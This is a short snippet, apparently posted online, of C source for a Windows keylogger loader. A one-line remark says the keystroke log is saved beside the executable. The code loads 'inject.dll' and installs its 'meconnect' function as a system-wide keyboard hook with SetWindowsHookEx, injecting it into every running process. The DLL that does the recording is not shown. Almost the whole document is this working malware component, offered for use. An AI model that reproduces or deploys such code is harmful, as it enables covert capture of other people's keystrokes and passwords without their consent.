To note that the keyboard logger file can be found in the program .exe directory
//console application #define _WIN32_WINNT 0x0400 #include <windows.h> #include <stdio.h> #define _WIN32_WINNT 0x0400 int main(int argc, char* argv[]) { // Load library containing hooking function. HMODULE dll = LoadLibrary("C:\\inject.dll");//be sure to change this to the location OF THE DLL if(dll == NULL) { printf("The DLL could not be found.\n"); getchar(); return -1; } // Get the address of the function inside the DLL. HOOKPROC addr = (HOOKPROC)GetProcAddress(dll, "meconnect"); if(addr == NULL) { printf("The function was not found.\n"); getchar(); return -1; } //Hook the function. HHOOK handle = SetWindowsHookEx(WH_KEYBOARD, addr, dll, 0); if(handle == NULL) { printf("The KEYBOARD could not be hooked.\n"); } //Unhook the function. printf("Program successfully hooked.\nPress enter to unhook the function and stop the program."); getchar(); UnhookWindowsHookEx(handle); return 0; }